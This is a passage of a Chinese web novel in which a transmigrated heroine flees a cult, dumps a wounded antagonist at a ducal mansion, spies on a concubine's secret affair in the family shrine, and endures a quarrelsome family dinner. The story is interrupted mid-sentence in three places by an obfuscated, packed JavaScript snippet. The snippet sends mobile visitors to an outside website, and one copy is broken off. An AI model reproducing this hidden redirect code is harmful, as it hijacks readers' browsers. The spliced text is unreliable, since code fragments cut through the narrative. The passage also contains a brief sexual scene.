她回头望了一眼这个小破屋,只见外面的碑介上写着刘家村十里亭,她收回目光,迎着西沉的月亮东出的太阳不要命的往大路上跑。
不知跑了多久,天色已经渐渐泛白,露水凝结在竹叶上摇摇欲坠。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488792|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
直到一辆牛车出现在面前,她才停下步子,抚着膝盖直喘气。
赶牛车的大爷看到她如此狼狈,便跳下牛车过来询问:“你是哪家姑娘?这么急要去哪儿?”
夏笙月抬头看了看面前的老头,不知道该不该信他。
见她一副顾虑的样子,老头笑呵呵的开口:“姑娘,你别怕,我不是坏人,我是刘家村的赶车人。”
夏笙月舔了下干涩的唇,望了一眼他背后的牛车:“我要去京城。”
老头点头:“没问题,再等几个人我们就可以走了。”
夏笙月直接从荷包里拿出一两碎银子:“老伯,我给你钱,现在就走。”
拿了钱,老伯也不多问,鞭子一挥拍在牛屁股上,马车摇摇晃晃的行驶在乡间小路。
直到走了一个时辰,夏笙月才稍微松了一口气,应该不会再追上来了。
“老伯,十里亭的那间屋子是不是住了十个女人?”她和他打听刘家村的事。
哪知老伯差点从牛车上滚下去,他声音惊恐:“那间草屋二十年前就没人住了,最近几年听说每晚都闹鬼,有一回村里的二傻子就撞见过一回,说那天晚上,有十个黑衣女鬼在屋子里晃悠,其中一个还跟他对视了,吓得他更傻了。”
“住在那附近的人,每晚都能听到一些诡异的念经声,于是他们全部连夜搬走了。”
“现在十里亭那地方就只剩下了那间破草屋。”
“姑娘你是哪家人的女儿?怎么想打听那间草屋?”
夏笙月缓了缓:“没事,就随便问问。”
老头好心提醒:“晚上可千万别去那个地方,不干净。”
“好。”
终于上了大路,牛车平稳了许多,夏笙月和老头有一搭没一搭的聊天打发时间。
路过一片茂密的草丛地时,老头突然拉紧牛绳,牛车停下,夏笙月习惯性的往前一扑,头磕在木板上,差点从车上摔下来。
她揉了揉额头,看到老头跳下车往灌木丛边走去,她有些疑惑。
不一会儿,就见老头从灌木丛里拖出一个人。
夏笙月赶紧去帮忙。
两人合力把人拖到牛车上,夏笙月看着满身是伤的男人,把手放在他鼻息处,还好还好,还活着。
她问老头:“你认识他吗?”
老头摇摇头:“不认识。”
夏笙月惊呆了,不认识就敢随便捡?
老头搓了搓手:“救人一命胜造七级浮屠。”看到草丛里躺着的人时,他下意识停下牛车,想要去看看情况。
没想到里面躺着的居然是一个血人,说实话,他现在有些后悔了,怕摊上麻烦。
凌乱的发丝糊在男人脸上,夏笙月伸手帮他拨开,当看清他容貌的刹那,她惊叫一声,没忍住一脚又把他踹了下去。
去你的。
居然是大反派,算了算了,不能救,谁让他天天在她面前说要杀了她。
她让老头赶紧上来:“老伯,我们走吧,不管他。”
老头有些犹豫,拍了拍脑门:“姑娘,把他丢在这儿,俺心里过不去。”
夏笙月问他:“他现在伤的这么重,你能保证他不会死在你的牛车上?就算你给他拉去了京城的医馆,你有钱给他治病吗?”
这些话问的老头哑口无言,他默默拿起牛鞭跳上车,牛车慢慢向前驶去。
夏笙月回头望了一眼躺在地上奄奄一息的谢无洲,没想到会在这里遇见他,他现在受伤严重,身上到处都淌着血,如果再不救治,只怕生命垂危。
不过,这关她什么事?她收回视线,迎着晨起的太阳赶往京城。
10. 祠堂
“姑娘,俺不能见死不救。”老头又折返回去,将谢无洲拖上牛车,“俺就把他送到衙门。”
衙门的李老爷可是个好官,官老爷看到一定不会见死不救。
夏笙月深吸一口气,将被谢无洲压着的裙摆抽出来,白色的滚边晕染了一圈血迹,她皱了皱眉,有些嫌弃。
老头继续赶车。
夏笙月双手撑着下巴看躺在旁边的少年,他脸色惨白,隐隐透出一抹青色,毫无生机的面庞上青丝随意拂过,纠结成一团,凌乱不堪。
苍白的肌肤更是布满了大大小小的伤口,皮肉翻卷,露出里面粉红的嫩肉,触目惊心,有的已经结痂,有的还在汩汩流血。
夏笙月戳了戳他,他的脸歪向一边,没有任何反应,她收回手,哎呀,真是可怜呐,估计等会儿就挂了。
日头逐渐大起来,夏笙月把外衣脱下罩在头上,谢无洲则完全暴露在太阳底下,灼人的阳光照在他身上,他长眉紧拧,睫毛微动,似乎有转醒的迹象。
就在他睁开眼睛的瞬间,夏笙月一拳过去,他又陷入了昏迷。
朦胧间,他好像看到了夏笙月……挥拳打他。
好,他记住了。
夏笙月看他再次晕了过去,才敢过来查看,幸好她反应快,不然大反派估计又要记她一笔,她现在不想和他有任何牵扯。
看到他一身的伤,她忍住职业病犯的冲动,视若无睹。
牛车在中午时分终于摇晃到了京城,入了城,夏笙月那颗悬在嗓子眼的心才彻底落下。
老头打算把谢无洲拉去官府。
夏笙月却让他去肃国公府。
老头听到肃国公府几个字吓的手一抖,手里的皮边差点落在地上,说话也变得磕巴起来:“姑娘,他是肃国公府的公子吗?”
夏笙月一边整理身上的伤口一边回答:“不是,只是府里的小护卫。”
谢无洲垂在身侧的食指轻微动了动。
牛车驶到肃国公府门口,夏笙月和老头合力将谢无洲抬到大门口,然后敲了敲门,可是等了半天都没有人来开门。
老头在这里站立难安,心里直犯怵。
“我们走吧。”夏笙月跟他说。
老头指了指地上的人:“那他怎么办?”
夏笙月一边走下台阶一边说:“没事的,都已经到了家门口,肯定会有人把他救回去。”
听她这么说,老头也算得了一些心理安慰。
夏笙月重新坐上牛车来到衙门,她给了老头一锭银子,老头估计从来没见过这么多钱,都差给她跪下来了。
等老头走后,夏笙月去旁边的文墨店买了一套纸笔,在上面写下几行字,然后敲了敲府衙的门。
小吏问她有何冤屈,夏笙月把刚刚写的东西递给小吏:“麻烦把这个交给官老爷。”
小吏狐疑的打量她:“我们老爷每日忙得很,没有功夫处理你的这些小事,你回去吧。”说着就要关门。
夏笙月赶紧将门用脚抵住:“我知道前几日京城无头女尸是何人所为。”
话音刚落,小吏一惊:“你真知道?”
夏笙月再次把手里折好的纸递给他:“把这个交给管老爷,到时候一切自然会水落石出。”
她在上面写了那十个凶手的地址,估计那十个女人现在还在昏迷当中,如果官老爷立刻派兵出去,还能抓个现行,但如果拖沓的话,估计会竹篮打水一场空。
小吏接下,让她在门外稍等。
夏笙月秉承着做好事不留名的姿态,在小吏走后,她混入大街上的人群消失不见。
路上实在太饿,她忍不住买了一个烧饼,吃到一半的时候,系统来了:[夏夏有没有想我呀,我昨日进修去了。]
夏笙月:[您老人家还知道来,我昨儿差点就完蛋了。]
系统正经起来:[啊?大反派要杀你啊。]
夏笙月觉得手里的烧饼太干,又买了一碗凉茶喝下,这才说:[我昨日遇到一件怪事。]
她把昨天的遭遇原原本本说给系统听。
系统沉思片刻:[你说的那群穿黑袍戴黑巾手拿圣书的女人应该是圣母教的圣徒。]
夏笙月也认真起来:[你知道她们?]
系统:[书上提到过,圣母教的信徒全是女人,她们打着为圣母娘娘做事的幌子做了许多伤天害理的事,至于这个组织的头头是谁?我真不知道,书上也没说。]
[对了,这个组织隐秘在京城,足足有一百人居多,夏夏,你要小心。]
夏笙月听到一百人的时候,心里咯噔一下,昨日把她抓走的那些女人不过才十个,那这么说来,京城还藏着九十个圣母教的人。
幸好她刚刚是匿名举报,不然等剩下的九十个人知道后,定会找她寻仇。
现在不仅被大反派盯上还要躲着圣母教,看来这京城不能多待了,她回去计划计划,决定出去避一避风头。
回到自己院子,一打开门,就看到夏起道和梅黎坐在她院子里,梅黎一副幸灾乐祸的表情。
夏起道看到她回来,没好气的说:“还未出阁的姑娘竟敢夜不归宿,你娘就是这么教你的?”
“真是丢我们尚书府的脸。”
夏笙月沉下眼,原来是来找茬的。
梅黎在一旁煽风点火:“二郎,你喝杯茶消消气,我想三姑娘也不是有意不回府的,估计是遇到了什么事。”说完看向夏笙月,见她衣着落魄,上面甚至还染了血迹,梅黎脸上的笑怎么都藏不住:“哎呀,你衣裙上怎么到处都是血?”
自从夏沅月被蛇咬伤之后,夏起道就解了她的禁足,她今早路过夏笙月的院子,听里面的婆子说夏笙月一夜未归,她可算是抓到把柄了,大家闺秀夜不归宿成何体统,她便想着去夏起道身边狠狠说一道。
夏起道最在意的就是面子,知道女儿夜不归宿后火急火燎就来了,刚坐下没多久,就等到了归来的夏笙月。
他看向这个一个月前才从庄子上回来的三女儿,满脸嫌弃,果真是花匠生出来的孩子,一点上不得台面:“说,你昨晚干嘛去了?”
夏笙月双手一摊:“昨日出城玩,不小心掉到山崖下,被一农女所救,当晚就歇在她家了。”
梅黎十分怀疑:“真是这样?”
夏笙月穿过他俩,自顾自给自己倒了一杯茶解渴:“梅姨娘要是不信,你大可去城外山脚下的刘家村去问一问。”
梅黎这才闭了嘴。
夏起道眉头紧锁,不管夏笙月说的是真是假,夜不归宿就是不对,他该罚还是得罚:“笙儿,你先去屋里换身干净衣裳。”
夏笙月狐疑的看着他,不知道他葫芦里卖的什么药。
在她去洗澡换衣的时候,梅黎挽起夏起道的手臂晃了晃:“二郎是不是想让她去跪祠堂?这未免罚的太轻,我看啊,她昨日肯定是出去私会情郎去了,要是……”
“够了。”夏起道冷脸呵斥,“我夏家女儿不会干出这么无耻的勾当,你今后莫要再说这样的话。”
梅黎讪讪的闭了嘴,心有不甘。
“沅儿怎么样了?”夏起道问道,他有两日没有去看夏沅月了。
梅黎:“沅儿体内的毒排的差不多了,恢复的不错。”
“那就好,咱们去看看沅儿。”
……
夏笙月换好衣服出来的时候,门口只候了一个老婆子,老婆子弯着腰:“三小姐,老爷让您去祠堂跪拜先祖灵位。”
夏笙月直接往院子里的躺椅上一坐:“不去。”
老婆子腰弯的更低了,语气恳求:“三小姐就不要为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488793|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难老婆子了,这都是老爷的命令。”
夏笙月看着面前这位头发花白的老嬷,一时间有些心软,她站起来:“你带路吧。”
祠堂在府里的最南面,穿过一座座亭台水榭,足足走了一柱香才到。
夏笙月抬头看了眼头上的牌匾,上面写了四个大字“夏氏宗祠。”
推开门走进去,里面漆黑一片,老嬷进来把蜡烛点上,跟她说:“老爷让小姐您在这跪一晚。”
“嗯。”
夏笙月坐在蒲团上,单手撑着脑袋望着供台上的灵牌,一、二、三、四、五、六、七……一共八十八位。
书上说夏起道没中举之前,家里很是落魄,上头有一位病弱的老母和一个好赌的哥,家里没有任何钱财来源,只有帮别人抄书换取银子来供自己读书,可这点收入远远不够维持他们家的开销。
那时候同村的梅黎时不时接济他。
梅黎是夏家村秀才的独女,因为老爹是秀才,家里也还过得去,所以才有多余的银子来支持夏起道。
两人青梅竹马一起长大,夏起道曾说过非梅黎不娶。
可是中举后,为了仕途他不得不娶高官之女,但他一刻也没忘记夏家村的梅黎,等自己在京城站稳脚跟之后就马不停蹄的把她纳入了府里,虽为妾室,但他宠妾灭妻。
在他光耀门楣后,夏家村的村民索性把祠堂迁到了他府里,表示沾沾福气,夏起道重孝道,也就答应了下来。
外头天色渐暗,夏笙月站起来揉了揉坐麻的屁股,想开门溜出去,哪知道外面守了两个小厮,根本不让她走。
夏笙月没法只能重新回到祠堂里。
深夜,她悄悄打开门,发现两个小厮还守在外面,气得“砰”的一声关上门,在祠堂里面来回踱步,然后伸手推了推每扇窗户,但窗户外面都被锁的死死的,根本打不开。
她重新坐回蒲团上,盯着排位上面的名字发呆,眼下要出去唯一的办法就是走正门,可是那两个小厮……
在她读到第六十五个名字的时候,突然听到排位后面的墙里传出悉悉索索的声音,她一惊,站起身把耳朵贴在墙上,果然听见墙后有人在小声说话。
她看了看面前的这堵墙,试着上手推了推,纹丝不动。
刚进来的时候,她就感觉这祠堂看起来十分窄小,估计这堵墙后面还有更大的空间,她在四周找了找,还真让她给找到了,移开供奉台,台子后面出现了一扇不起眼的砖门。
夏笙月小心的推开一条缝,紧张的往里面望去。
月光照在小房子里,里面的景象夏笙月勉强能够看得清。
只见一贵妇人坐在椅子上,衣襟敞开,露出里面芙蓉花的肚兜。
一道黑影从暗处走来,手里拿着一根绳子,妇人转头的瞬间,夏笙月惊讶的捂住嘴巴,竟然是赵姨娘。
她继续看下去。
只见那道黑影拿绳子捆住赵姨娘,然后粗暴的撕开她的衣裳,肚兜滑落,露出雪白一片。
夏笙月觉得黑衣人的黑衣有些眼熟,但是光线太暗了,她看不真切。
黑衣人看向赵姨娘,轻轻说了两个字,赵姨娘点头。
黑衣人缓缓蹲下去,有韵律的动起来。
赵姨娘高昂着头,舒服的哼出声,同时不忘叮嘱:“啊……小心我的肚子。”
直到一切结束以后,黑衣人解开赵姨娘身上的绳子,打开祠堂后门趁着夜色悄悄离开。
赵姨娘神情满足的站起来,穿好衣服,下意识的摸了摸小腹,用手帕擦了一下额上的汗,脚步不稳的走了出去。
在门缝偷看夏笙月石化当场,平日里看起来老实沉默的赵姨娘竟然和外人有染。
夏笙月觉得自己的三观受到了冲击,这本限制文简直太颠了,癫的她无法想象。
11. 家宴
她揉了揉眼睛,想要揉走刚刚那些污秽的画面,缓了许久后她才推开祠堂的暗门走进小房子。
房子里面早已恢复如初,似乎什么都没发生。
赵姨娘选择在这里和别人苟合,估计是这间屋子很少有人过来,隐秘性好,但是赵姨娘不知道,她今日被罚跪在了祠堂。
她也轻轻推开祠堂的后门,门外是一望无际的黑暗,她轻手轻脚的走出来关上门,避着人回到自己院里。
躺在床上辗转反侧,直到天色微亮时才堪堪入睡,果不其然,一觉又睡到了日上三竿。
“小姐,快醒醒。”耳边是零露的声音。
夏笙月伸了个懒腰,抱着被子嘟囔,声音从鼻子里哼出来:“什么事?”
零露把床幔挂好,蹲下来,语气有些着急:“小姐,今日是老夫人回来的日子,刚刚听前院的人说,老夫人的马车就快到了,老爷夫人他们都在门口等着呢,就差小姐了。”
夏笙月刚睡醒脑子反应有些慢,她哼哼两声,又翻了个身打算继续睡。
零露急了,这老夫人可不是好惹的主儿。
去年老夫人过寿的时候,四小姐迟到了一会儿,老夫人就当着众宾客的面呵斥她,丝毫不留情面,四小姐成了京城的笑柄,足足两个月不敢踏出自己的院子。
“小姐,快起来更衣吧,莫要得罪了老夫人。”说着把夏笙月今日要穿的衣裳全部叠好放在床边的矮凳上。
夏笙月睡眼朦胧的坐起来,忍不住打了个哈欠,泪水蓄满眼睛,依旧昏昏欲睡。
零露赶紧扶住她将要倒下去的身子,急得脑门上的汗都出来了:“小姐,洗脸水打好了,衣服也拿来了,您快收拾收拾吧。”
她怕等会儿小姐迟到了,老夫人会为难小姐
夏笙月拍了拍晕晕的脑子:[统统,我好想睡觉啊,你有办法再变一个我出来吗?]
她掀开被子:[再变一个我出来,让她去迎接老夫人,我继续留在这里睡觉。]
系统都有些无语了:[你是我带过最能睡的一届。]
夏笙月:[停停停,我是你带过最差的一届,最懒的一届,最能睡的一届,你是不是就只带过我这一届?]
系统有些心虚,支支吾吾道:[是又怎么样,你可是我的第一届。]
夏笙月干笑两声,起来穿好鞋子,接过零露递过来的毛巾擦脸,抬头看了一眼窗外的阳光。
今日是个大晴天。
她穿了一套最不起眼的衣服,一条月白色半裙,上身罩了一件橘粉色圆领对襟妆花比甲,头发盘在脑后两侧梳出几条小辫。
零露给她戴上一枝素步摇,看着镜子里粉黛未施的美人,她忍不住道:“小姐,您真好看。”
在三小姐还没回府之前,她觉得二小姐好看,但是眼下三小姐比二小姐还要美上几分,是她见过最最好看的人儿。
听她这么说,夏笙月也忍不住看向镜子里的自己,肌肤胜雪,脸颊微红,五官秀美大气,真是一个大美人,她甚是满意的点点头。
等她到大门口的时候,就见夏起道他们早已经在门口站成了一排,每一个人都伸长脖子往外面张望。
夏笙月慢慢走过去站在最边上的角落,努力降低自己的存在感。
“哟,三妹妹终于来了,你若再不来父亲都要派人去请你了。”夏沅月故意大声说,把大家的目光都吸引了过来。
夏笙月耸了耸肩:“二姐姐,瞧你这话说的,我昨日不是被父亲罚了吗,故而今日来晚了些,父亲肯定不会怪罪我的。”说完看向夏起道。
夏起道知道她今日来晚情有可原,也就没再说什么。
夏沅月狠狠的捏了捏手帕,一脸不服。
夏笙月不理她,太阳照在屋檐下,她往后退了一点,却不想撞到了一个人,她转身忙说“对不起”。
“三小姐。”
夏笙月抬头一看,自己撞到的人竟然是赵姨娘,想到昨日小屋子的场景,她脸上表情精彩万分,一时语塞,不知道该说些什么。
赵姨娘捂着手帕咳了两声,声音温和:“三小姐身后就是台阶,莫要往后退了”
“谢……谢谢。”夏笙月觉得有些尴尬。
这赵姨娘看起来温柔老实,为何会有昨日那样的举动,算了算了,不想了,人不可貌相。
太阳正当空,一辆通身气派的马车从长街上驶来,四面用丝绸装饰,轿檐下更是垂挂了几只纯金铃铛,在阳光下闪着金色光芒,马车一动,便叮当作响。
拖着马车的还是两匹难得的千里良驹。
马车两边各有十个丫鬟,走在前面的是打扮富气的老嬷嬷,她微仰着头,神情气派。
夏起道看到熟悉的马车,走下来迎接,众人也都跟着下去,夏笙月走在最后面,书上虽然没有过多介绍这位老夫人,但是刚刚从零露的表现来看,这个老夫人应当不是个好相与的。
轿夫拿出踩墩,老嬷嬷掀开帘子,一只枯老的手从轿子里伸出来,手上没有多少肉,一层皱巴巴的皮包着骨头,手指指节十分粗大,一看就是做了一辈子农活的手。
夏起道连忙去扶:“娘,你可来了。”
里面的老妇“嗯”了一声,从轿子里缓缓走出来,借着夏起道的力慢慢下了马车。
老夫人下车的第一件事便是打量众人,一双精明的小眼睛不断在众人身上扫视,看到梅黎脖子上戴的玉佩时,她表情明显有些不悦,问旁边的夏起道:“梅黎脖子上的玉佩多少钱?”
此话一出,梅黎赶紧将玉佩摘下来藏在袖中,生怕被她要了去。
夏起道自然明白老夫人的意思:“她那玉佩不值钱,就一两银子,赶明儿子给你买一个好的。”
老夫人这才满意的笑了,脸上的褶子往上堆,颧骨高耸。
“大家都来了吧?”她问夏起道。
夏起道点头:“三姑娘一个月前也从庄子上回来了。”说着便朝夏笙月招手,“笙儿,赶紧过来见过祖母。”
被点到名的夏笙月有些不情愿的走上前,面前的老夫人身形瘦高,穿了一件深蓝色祥云布锦衣,脖子上戴了两条金项链,枯瘦的手腕上更是缠了两圈红宝石,就连灰白的头发上也插了两根醒目的夜明珠发簪,整个人看起来贵气极了。
一整个暴发户的打扮。
夏笙月被她身上的宝石晃的有些睁不开眼,礼貌地喊了一声“祖母好”。
老夫人看着眼前标志的人儿,她想了很久才道:“和她母亲长的太像了。”说这话时,她语气冰冷。
她向来不喜欢太好看的女人,好看的女人都是狐媚子,年轻的时候,她在地里辛苦耕种,自家男人就和隔壁的寡妇在家里翻云覆雨。
被她撞破后,她男人竟然还护着那个寡妇,说她五大三粗像个男人,一点都没女人味,他喜欢寡妇那样的美娇娘。
她恨啊,为什么自己不生的好看一些。
她看着面前的夏笙月,瞧她身上一件饰品都没有,这才收回目光,敲了敲拐杖:“大家回屋吧。”
梅黎给夏沅月使了个眼色,夏沅月小跑到老夫人身边,亲昵的搀住她:“祖母,您去别院养病的这半年,孙女可想你了。”
老夫人脸上没什么表情,十分冷淡的应了一声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488794|185758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>夏沅月咬了咬牙,又将梅黎教自己的那些话全部说了出来,可任她嘴皮都说的冒烟了,老夫人面对她这些恭维,眼皮都没抬一下。
众人进了前厅,圆桌上早已摆了一桌好菜。
夏起道将老夫人扶上主位:“母亲,你出去养病的这半年,儿子每日都在想你,也不知道那里的饭菜母亲吃不吃得惯,今日回府,儿子让人做了一桌母亲喜欢吃的菜。”
老夫人拍了拍他的手:“老二有心了。”
饭桌上,老夫人问起夏明月:“明月那丫头找了个好归宿,不知日后能不能帮到正朗。”
她出生农村,在她的观念里,女儿就应该为儿子铺路,她当年连续生了两个儿子,以为能得到丈夫的青睐,哪知道还是没能留住男人。
她回过神,叮嘱秦昭德:“你跟明月说说,让她好好帮帮自己的弟弟。”
秦昭德夹菜的手一顿,笑道:“正朗有他自己的打算,明月也有自己的日子要过。”
儿子的前途虽然重要,但是女儿的幸福又何尝不重要。
听了这话,老夫人把筷子一拍:“明月的日子有正朗的前途重要吗?”
秦昭德沉下脸来,夏起道忙当起和事佬,婆媳两人这才作罢。
老夫人重新拿起筷子,夹了一筷子牛肉,吃的满嘴流油,想当年家里哪有这样的条件,每日有糠叶菜吃都不错了。
“正朗在学堂可还习惯?”她又问。
夏起道说:“正朗这孩子孝顺,听说今日祖母回来,特意向国子监请了半日的假,眼下应该快到了。”
听到自己宝贝大孙子要回来,老夫人高兴的两手一拍,嘴里大叫“好啊”。
宝贝大孙果然没白疼,她高兴得饭也吃不下,眼睛期待的看向门口。
夏起道派人去打听夏正朗到哪了,然后转头对老夫人说:“母亲舟车劳顿了两天,先吃饭,我们边吃边等。”
老妇人舀了一碗莲藕排骨汤,勺子都不用,直接顺着碗沿喝下,油腻的汤汁从下巴流到脖子上,最后落进衣襟里。
夏起道看不惯母亲这样的作派,但还是不好意思开口劝阻,毕竟是自己的母亲,哪有儿子教母亲做事的道理。
老夫人又夹起一大块羊排啃起来,边啃边说:“眼下明月嫁到高府去了,接下来就是沅月的婚事,老二你可有物色什么人家?”
她想让夏沅月嫁一个可以帮助到自己宝贝孙子仕途的人。
梅黎看了夏起道一眼,夏起道斟酌开口:“母亲,明月才刚出嫁,沅儿的婚事暂时不急。”
老夫人放下羊排,抠了一下牙齿缝里的腐肉,放在鼻子边嗅了嗅,然后又塞回嘴里咽下去。
夏笙月被她的动作整的有些反胃。
老夫人砸吧了两下嘴:“依我看,沅儿是庶女,与其嫁个平民百姓做正妻,不如攀上高门当个妾。”
此话一出,梅黎激动的站起来反驳:“沅儿绝不为妾。”
看她这么激动,老夫人冷笑一声:“他娘就是个妾,她当妾怎么了?”
“你当初不也不肯嫁给王书生做正妻,非要上赶着给我们老二当妾,母传女,女儿也一样是个妾。”
“你……”梅黎不敢反驳老夫人,只能小声啜泣,夏沅月听祖母这么侮辱自己的母亲,心里也不是滋味,但是也不敢为母亲争辩。
夏起道用眼神安抚梅黎,又对老夫人说:“沅儿的婚事我自有安排。”
老夫人翻了个白眼,没再说话。
这时,门口小厮进来禀报,说大公子回来了。
秦昭德最先站起来往外走,老夫人也激动的杵着拐杖上前。